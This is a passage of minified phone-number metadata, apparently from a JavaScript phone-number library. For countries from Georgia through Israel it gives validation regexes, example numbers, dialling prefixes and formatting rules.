l,null,null,"706123456"],"GE",995,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[348]"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["5|79"]],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["7"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"706\\d{6}"],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GF:[null,[null,null,"[56]94\\d{6}",null,null,null,null,null,null,[9]],[null,null,"594(?:[023]\\d|1[01]|4[03-9]|5[6-9]|6[0-3]|80|9[014])\\d{4}",null,null,null,"594101234"],[null,null,"694(?:[0-249]\\d|3[0-48])\\d{4}",null,null,null,"694201234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"GF",594,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[56]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GG:[null,[null,null,"(?:1481|[357-9]\\d{3})\\d{6}|8\\d{6}(?:\\d{2})?",null,null,null,null,null,null,[7,9,10],[6]],[null,null,"1481[25-9]\\d{5}",null,null,null,"1481256789",null,null,[10],[6]],[null,null,"7(?:(?:781|839)\\d|911[17])\\d{5}",null,null,null,"7781123456",null,null,[10]],[null,null,"80[08]\\d{7}|800\\d{6}|8001111",null,null,null,"8001234567"],[null,null,"(?:8(?:4[2-5]|7[0-3])|9(?:[01]\\d|8[0-3]))\\d{7}|845464\\d",null,null,null,"9012345678",null,null,[7,10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"70\\d{8}",null,null,null,"7012345678",null,null,[10]],[null,null,"56\\d{8}",null,null,null,"5612345678",null,null,[10]],"GG",44,"00","0",null,null,"0|([25-9]\\d{5})$","1481$1",null,null,null,null,[null,null,"76(?:0[0-2]|2[356]|4[0134]|5[49]|6[0-369]|77|81|9[39])\\d{6}",null,null,null,"7640123456",null,null,[10]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:3[0347]|55)\\d{8}",null,null,null,"5512345678",null,null,[10]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GH:[null,[null,null,"(?:[235]\\d{3}|800)\\d{5}",null,null,null,null,null,null,[8,9],[7]],[null,null,"3(?:0(?:[237]\\d|80)|[167](?:2[0-6]|7\\d|80)|2(?:2[0-5]|7\\d|80)|3(?:2[0-3]|7\\d|80)|4(?:2[013-9]|3[01]|7\\d|80)|5(?:2[0-7]|7\\d|80)|8(?:2[0-2]|7\\d|80)|9(?:[28]0|7\\d))\\d{5}",null,null,null,"302345678",null,null,[9],[7]],[null,null,"(?:2[0346-8]\\d|5(?:[0457]\\d|6[01]))\\d{6}",null,null,null,"231234567",null,null,[9]],[null,null,"800\\d{5}",null,null,null,"80012345",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"GH",233,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[237]|80"]],[null,"(\\d{3})(\\d{5})","$1 $2",["8"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[235]"],"0$1"]],[[null,"(\\d{3})(\\d{5})","$1 $2",["8"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[235]"],"0$1"]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"800\\d{5}",null,null,null,null,null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GI:[null,[null,null,"(?:[25]\\d\\d|629)\\d{5}",null,null,null,null,null,null,[8]],[null,null,"2(?:(?:00\\d|2(?:2[2457]|50))\\d|1(?:6[24-7]\\d|90[0-2]))\\d{3}",null,null,null,"20012345"],[null,null,"(?:5[46-8]\\d|629)\\d{5}",null,null,null,"57123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"GI",350,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{5})","$1 $2",["2"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GL:[null,[null,null,"(?:19|[2-689]\\d)\\d{4}",null,null,null,null,null,null,[6]],[null,null,"(?:19|3[1-7]|6[14689]|8[14-79]|9\\d)\\d{4}",null,null,null,"321000"],[null,null,"(?:[25][1-9]|4[2-9])\\d{4}",null,null,null,"221234"],[null,null,"80\\d{4}",null,null,null,"801234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"3[89]\\d{4}",null,null,null,"381234"],"GL",299,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3",["19|[2-689]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GM:[null,[null,null,"[2-9]\\d{6}",null,null,null,null,null,null,[7]],[null,null,"(?:4(?:[23]\\d\\d|4(?:1[024679]|[6-9]\\d))|5(?:54[0-7]|6[67]\\d|7(?:1[04]|2[035]|3[58]|48))|8\\d{3})\\d{3}",null,null,null,"5661234"],[null,null,"[23679]\\d{6}",null,null,null,"3012345"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"GM",220,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[2-9]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GN:[null,[null,null,"(?:30|6\\d\\d|722)\\d{6}",null,null,null,null,null,null,[8,9]],[null,null,"30(?:24|3[12]|4[1-35-7]|5[13]|6[189]|[78]1|9[1478])\\d{4}",null,null,null,"30241234",null,null,[8]],[null,null,"6[02356]\\d{7}",null,null,null,"601123456",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"722\\d{6}",null,null,null,"722123456",null,null,[9]],"GN",224,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["3"]],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[67]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GP:[null,[null,null,"(?:590|69\\d)\\d{6}",null,null,null,null,null,null,[9]],[null,null,"590(?:0[1-68]|1[0-2]|2[0-68]|3[1289]|4[0-24-9]|5[3-579]|6[0189]|7[08]|8[0-689]|9\\d)\\d{4}",null,null,null,"590201234"],[null,null,"69(?:0\\d\\d|1(?:2[29]|3[0-5]))\\d{4}",null,null,null,"690001234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"GP",590,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[56]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],1,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GQ:[null,[null,null,"(?:222|(?:3\\d|55|[89]0)\\d)\\d{6}",null,null,null,null,null,null,[9]],[null,null,"3(?:3(?:[0-24-9]\\d[46]|3\\d[7-9])|5\\d\\d[7-9])\\d{4}",null,null,null,"333091234"],[null,null,"(?:222|55[015])\\d{6}",null,null,null,"222123456"],[null,null,"80\\d[1-9]\\d{5}",null,null,null,"800123456"],[null,null,"90\\d[1-9]\\d{5}",null,null,null,"900123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"GQ",240,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[235]"]],[null,"(\\d{3})(\\d{6})","$1 $2",["[89]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GR:[null,[null,null,"(?:[268]\\d|[79]0)\\d{8}",null,null,null,null,null,null,[10]],[null,null,"2(?:1\\d\\d|2(?:2[1-46-9]|[36][1-8]|4[1-7]|5[1-4]|7[1-5]|[89][1-9])|3(?:1\\d|2[1-57]|[35][1-3]|4[13]|7[1-7]|8[124-6]|9[1-79])|4(?:1\\d|2[1-8]|3[1-4]|4[13-5]|6[1-578]|9[1-5])|5(?:1\\d|[29][1-4]|3[1-5]|4[124]|5[1-6])|6(?:1\\d|[269][1-6]|3[1245]|4[1-7]|5[13-9]|7[14]|8[1-5])|7(?:1\\d|2[1-5]|3[1-6]|4[1-7]|5[1-57]|6[135]|9[125-7])|8(?:1\\d|2[1-5]|[34][1-4]|9[1-57]))\\d{6}",null,null,null,"2123456789"],[null,null,"6(?:8[57-9]|9\\d)\\d{7}",null,null,null,"6912345678"],[null,null,"800\\d{7}",null,null,null,"8001234567"],[null,null,"90[19]\\d{7}",null,null,null,"9091234567"],[null,null,"8(?:0[16]|12|25)\\d{7}",null,null,null,"8011234567"],[null,null,"70\\d{8}",null,null,null,"7012345678"],[null,null,null,null,null,null,null,null,null,[-1]],"GR",30,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["21|7"]],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["2[3-8]1|[689]"]],[null,"(\\d{4})(\\d{6})","$1 $2",["2"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GT:[null,[null,null,"(?:1\\d{3}|[2-7])\\d{7}",null,null,null,null,null,null,[8,11]],[null,null,"[267][2-9]\\d{6}",null,null,null,"22456789",null,null,[8]],[null,null,"[3-5]\\d{7}",null,null,null,"51234567",null,null,[8]],[null,null,"18[01]\\d{8}",null,null,null,"18001112222",null,null,[11]],[null,null,"19\\d{9}",null,null,null,"19001112222",null,null,[11]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"GT",502,"00",null,null,null,null,null,null,null,[[null,"(\\d{4})(\\d{4})","$1 $2",["[2-7]"]],[null,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["1"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GU:[null,[null,null,"(?:[58]\\d\\d|671|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"671(?:3(?:00|3[39]|4[349]|55|6[26])|4(?:00|56|7[1-9]|8[0236-9])|5(?:55|6[2-5]|88)|6(?:3[2-578]|4[24-9]|5[34]|78|8[235-9])|7(?:[0479]7|2[0167]|3[45]|8[7-9])|8(?:[2-57-9]8|6[48])|9(?:2[29]|6[79]|7[1279]|8[7-9]|9[78]))\\d{4}",null,null,null,"6713001234",null,null,null,[7]],[null,null,"671(?:3(?:00|3[39]|4[349]|55|6[26])|4(?:00|56|7[1-9]|8[0236-9])|5(?:55|6[2-5]|88)|6(?:3[2-578]|4[24-9]|5[34]|78|8[235-9])|7(?:[0479]7|2[0167]|3[45]|8[7-9])|8(?:[2-57-9]8|6[48])|9(?:2[29]|6[79]|7[1279]|8[7-9]|9[78]))\\d{4}",null,null,null,"6713001234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"GU",1,"011","1",null,null,"1",null,null,1,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"671",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GW:[null,[null,null,"[49]\\d{8}|4\\d{6}",null,null,null,null,null,null,[7,9]],[null,null,"443\\d{6}",null,null,null,"443201234",null,null,[9]],[null,null,"9(?:5\\d|6[569]|77)\\d{6}",null,null,null,"955012345",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"40\\d{5}",null,null,null,"4012345",null,null,[7]],"GW",245,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["40"]],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[49]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GY:[null,[null,null,"(?:(?:(?:[2-46]\\d|77)\\d|862)\\d|9008)\\d{3}",null,null,null,null,null,null,[7]],[null,null,"(?:2(?:1[6-9]|2[0-35-9]|3[1-4]|5[3-9]|6\\d|7[0-24-79])|3(?:2[25-9]|3\\d)|4(?:4[0-24]|5[56])|77[1-57])\\d{4}",null,null,null,"2201234"],[null,null,"6\\d{6}",null,null,null,"6091234"],[null,null,"(?:289|862)\\d{4}",null,null,null,"2891234"],[null,null,"9008\\d{3}",null,null,null,"9008123"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"GY",592,"001",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[2-46-9]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],HK:[null,[null,null,"8[0-46-9]\\d{6,7}|9\\d{4}(?:\\d(?:\\d(?:\\d{4})?)?)?|(?:[235-79]\\d|46)\\d{6}",null,null,null,null,null,null,[5,6,7,8,9,11]],[null,null,"(?:2(?:[13-8]\\d|2[013-9]|9[0-24-9])\\d|3(?:(?:[1569][0-24-9]|4[0-246-9]|7[0-24-69])\\d|8(?:4[04]|9\\d))|58(?:0[1-8]|1[2-9]))\\d{4}",null,null,null,"21234567",null,null,[8]],[null,null,"(?:46(?:0[0-6]|10|4[0-57-9])|5(?:(?:[1-59][0-46-9]|6[0-4689])\\d|7(?:[0-2469]\\d|30))|6(?:(?:0[1-9]|[13-59]\\d|[68][0-57-9]|7[0-79])\\d|2(?:[0-57-9]\\d|6[01]))|707[1-5]|8480|9(?:(?:0[1-9]|1[02-9]|[358][0-8]|[467]\\d)\\d|2(?:[0-8]\\d|9[03-9])))\\d{4}",null,null,null,"51234567",null,null,[8]],[null,null,"800\\d{6}",null,null,null,"800123456",null,null,[9]],[null,null,"900(?:[0-24-9]\\d{7}|3\\d{1,4})",null,null,null,"90012345678",null,null,[5,6,7,8,11]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"8(?:1[0-4679]\\d|2(?:[0-36]\\d|7[0-4])|3(?:[034]\\d|2[09]|70))\\d{4}",null,null,null,"81123456",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],"HK",852,"00(?:30|5[09]|[126-9]?)",null,null,null,null,null,"00",null,[[null,"(\\d{3})(\\d{2,5})","$1 $2",["900","9003"]],[null,"(\\d{4})(\\d{4})","$1 $2",["[2-7]|8[1-4]|9(?:0[1-9]|[1-8])"]],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["8"]],[null,"(\\d{3})(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3 $4",["9"]]],null,[null,null,"7(?:1(?:0[0-38]|1[0-3679]|3[013]|69|9[136])|2(?:[02389]\\d|1[18]|7[27-9])|3(?:[0-38]\\d|7[0-369]|9[2357-9])|47\\d|5(?:[178]\\d|5[0-5])|6(?:0[0-7]|2[236-9]|[35]\\d)|7(?:[27]\\d|8[7-9])|8(?:[23689]\\d|7[1-9])|9(?:[025]\\d|6[0-246-8]|7[0-36-9]|8[238]))\\d{4}",null,null,null,"71123456",null,null,[8]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"30(?:0[1-9]|[15-7]\\d|2[047]|89)\\d{4}",null,null,null,"30161234",null,null,[8]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],HN:[null,[null,null,"[237-9]\\d{7}",null,null,null,null,null,null,[8]],[null,null,"2(?:2(?:0[019]|1[1-36]|[23]\\d|4[04-6]|5[57]|64|7[0135689]|8[01346-9]|9[0-2])|4(?:07|2[3-59]|3[13-689]|4[0-68]|5[1-35])|5(?:08|16|4[03-5]|5\\d|6[4-6]|74|80)|6(?:[056]\\d|17|3[04]|4[0-378]|[78][0-8]|9[01])|7(?:6[46-9]|7[02-9]|8[034])|8(?:79|8[0-357-9]|9[1-57-9]))\\d{4}",null,null,null,"22123456"],[null,null,"[37-9]\\d{7}",null,null,null,"91234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"HN",504,"00",null,null,null,null,null,null,null,[[null,"(\\d{4})(\\d{4})","$1-$2",["[237-9]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],HR:[null,[null,null,"(?:[24-69]\\d|3[0-79])\\d{7}|80\\d{5,7}|[1-79]\\d{7}|6\\d{5,6}",null,null,null,null,null,null,[6,7,8,9]],[null,null,"1\\d{7}|(?:2[0-3]|3[1-5]|4[02-47-9]|5[1-3])\\d{6,7}",null,null,null,"12345678",null,null,[8,9],[6,7]],[null,null,"9(?:(?:01|[12589]\\d)\\d|7(?:[0679]\\d|51))\\d{5}|98\\d{6}",null,null,null,"921234567",null,null,[8,9]],[null,null,"80[01]\\d{4,6}",null,null,null,"800123456",null,null,[7,8,9]],[null,null,"6[01459]\\d{6}|6[01]\\d{4,5}",null,null,null,"611234",null,null,[6,7,8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"7[45]\\d{6}",null,null,null,"74123456",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],"HR",385,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2,3})","$1 $2 $3",["6[01]"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{2,3})","$1 $2 $3",["8"],"0$1"],[null,"(\\d)(\\d{4})(\\d{3})","$1 $2 $3",["1"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[2-5]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[67]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["9"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["8"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:62\\d?|72)\\d{6}",null,null,null,"62123456",null,null,[8,9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],HT:[null,[null,null,"[2-489]\\d{7}",null,null,null,null,null,null,[8]],[null,null,"2(?:2\\d|5[1-5]|81|9[149])\\d{5}",null,null,null,"22453300"],[null,null,"[34]\\d{7}",null,null,null,"34101234"],[null,null,"8\\d{7}",null,null,null,"80012345"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"9(?:[67][0-4]|8[0-3589]|9\\d)\\d{5}",null,null,null,"98901234"],"HT",509,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{4})","$1 $2 $3",["[2-489]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],HU:[null,[null,null,"[2357]\\d{8}|[1-9]\\d{7}",null,null,null,null,null,null,[8,9],[6,7]],[null,null,"(?:1\\d|[27][2-9]|3[2-7]|4[24-9]|5[2-79]|6[23689]|8[2-57-9]|9[2-69])\\d{6}",null,null,null,"12345678",null,null,[8],[6,7]],[null,null,"(?:[257]0|3[01])\\d{7}",null,null,null,"201234567",null,null,[9]],[null,null,"[48]0\\d{6}",null,null,null,"80123456",null,null,[8]],[null,null,"9[01]\\d{6}",null,null,null,"90123456",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"21\\d{7}",null,null,null,"211234567",null,null,[9]],"HU",36,"00","06",null,null,"06",null,null,null,[[null,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["1"],"($1)"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[2-9]"],"($1)"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"[48]0\\d{6}",null,null,null,null,null,null,[8]],[null,null,"38\\d{7}",null,null,null,"381234567",null,null,[9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],ID:[null,[null,null,"(?:[1-36]|8\\d{5})\\d{6}|[1-9]\\d{8,10}|[2-9]\\d{7}",null,null,null,null,null,null,[7,8,9,10,11,12],[5,6]],[null,null,"2(?:[124]\\d{7,8}|(?:[35][1-4]|6[0-8]|7[1-6]|8\\d|9[1-8])\\d{5,8})|(?:3(?:1|[25][1-8]|3[1-68]|4[1-3]|6[1-3568]|7[0-469]|8\\d)|4(?:0[1-589]|1[01347-9]|2[0-36-8]|3[0-24-68]|43|5[1-378]|6[1-5]|7[134]|8[1245])|5(?:1[1-35-9]|2[25-8]|3[124-9]|4[1-3589]|5[1-46]|6[1-8])|7(?:02|[125][1-9]|[36]\\d|4[1-8]|7[0-36-9])|9(?:0[12]|1[013-8]|2[0-479]|5[125-8]|6[23679]|7[159]|8[01346]))\\d{5,8}|6(?:1(?:[0-8]\\d{4,7}|9\\d{4,8})|(?:[25]\\d|3[1-69]|4[1-6])\\d{5,8})|2(?:1(?:14|500)|2\\d{3})\\d{3}",null,null,null,"218350123",null,null,[7,8,9,10,11],[5,6]],[null,null,"8[1-35-9]\\d{7,10}",null,null,null,"812345678",null,null,[9,10,11,12]],[null,null,"(?:177\\d|800)\\d{5,7}",null,null,null,"8001234567",null,null,[8,9,10,11]],[null,null,"809\\d{7}",null,null,null,"8091234567",null,null,[10]],[null,null,"804\\d{7}",null,null,null,"8041234567",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"ID",62,"0(?:0[17-9]|10(?:00|1[67]))","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["15"]],[null,"(\\d{2})(\\d{5,9})","$1 $2",["2[124]|[36]1"],"(0$1)"],[null,"(\\d{3})(\\d{5,7})","$1 $2",["800"],"0$1"],[null,"(\\d{3})(\\d{5,8})","$1 $2",["[2-79]"],"(0$1)"],[null,"(\\d{3})(\\d{3,4})(\\d{3})","$1-$2-$3",["8[1-35-9]"],"0$1"],[null,"(\\d{3})(\\d{6,8})","$1 $2",["1"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["804"],"0$1"],[null,"(\\d{3})(\\d)(\\d{3})(\\d{3})","$1 $2 $3 $4",["80"],"0$1"],[null,"(\\d{3})(\\d{4})(\\d{4,5})","$1-$2-$3",["8"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"8071\\d{6}",null,null,null,null,null,null,[10]],[null,null,"(?:1500|8071\\d{3})\\d{3}",null,null,null,"8071123456",null,null,[7,10]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],
IE:[null,[null,null,"[148]\\d{9}|[124-9]\\d{8}|[124-69]\\d{7}|[24-69]\\d{6}",null,null,null,null,null,null,[7,8,9,10],[5,6]],[null,null,"(?:1\\d{2,3}|2(?:[13]\\d\\d|[24-9])|4(?:0[24]|(?:(?:[1-469]|8[0-46-9])\\d|5)\\d|7)|5(?:0[45]|(?:1|[23679]\\d)\\d|8)|6(?:[237-9]|[4-6]\\d\\d)|7[14]\\d\\d|9(?:[04]\\d\\d|[35-9]))\\d{5}|[269]1\\d{6}",null,null,null,"2212345",null,null,null,[5,6]],[null,null,"8(?:22|[35-9]\\d)\\d{6}",null,null,null,"850123456",null,null,[9]],[null,null,"1800\\d{6}",null,null,null,"1800123456",null,null,[10]],[null,null,"15(?:1[2-8]|[2-8]0|9[089])\\d{6}",null,null,null,"1520123456",null,null,[10]],[null,null,"18[59]0\\d{6}",null,null,null,"1850123456",null,null,[10]],[null,null,"700\\d{6}",null,null,null,"700123456",null,null,[9]],[null,null,"76\\d{7}",null,null,null,"761234567",null,null,[9]],"IE",353,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{5})","$1 $2",["2[24-9]|47|58|6[237-9]|9[35-9]"],"(0$1)"],[null,"(\\d{3})(\\d{5})","$1 $2",["[45]0"],"(0$1)"],[null,"(\\d)(\\d{3,4})(\\d{4})","$1 $2 $3",["1"],"(0$1)"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[2569]|4[1-69]|7[14]"],"(0$1)"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["76|8[235-9]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["7"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["81"],"(0$1)"],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["4"],"(0$1)"],[null,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1"]],[null,"(\\d{2})(\\d)(\\d{3})(\\d{4})","$1 $2 $3 $4",["8"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"18[59]0\\d{6}",null,null,null,null,null,null,[10]],[null,null,"818\\d{6}",null,null,null,"818123456",null,null,[9]],null,null,[null,null,"8[35-9]5\\d{7}",null,null,null,"8551234567",null,null,[10]]],IL:[null,[null,null,"1\\d{6}(?:\\d{3,5})?|[57]\\d{8}|[1-489]\\d{7}",null,null,null,null,null,null,[7,8,9,10,11,12]],[null,null,"(?:153\\d\\d?|[2-489])\\d{7}",null,null,null,"21234567",null,null,[8,11,12],[7]],[null,null,"5(?:(?:[0-489][2-9]|6\\d)\\d|5(?:01|2[2-5]|3[23]|4[45]|5[05689]|6[6-8]|7[0-267]|8[7-9]|9[1-9]))\\d{5}",null,null,null,"502345678",null,null,[9]],[null,null,"1(?:255|80[019]\\d{3})\\d{3}",null,null,null,"1800123456",null,null,[7,10]],[null,null,"1(?:2(?:00\\d\\d|12)|9(?:0[01]|19)\\d\\d)\\d{4}",null,null,null,"1919123456",null,null,[8,10]],[null,null,"1700\\d{6}",null,null,null,"1700123456",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"7(?:(?:18|2[23]|3[237]|47|6[58]|7\\d|9[2357-9])\\d|8(?:2\\d|33|55|77|81))\\d{5}",null,null,null,"771234567",null,null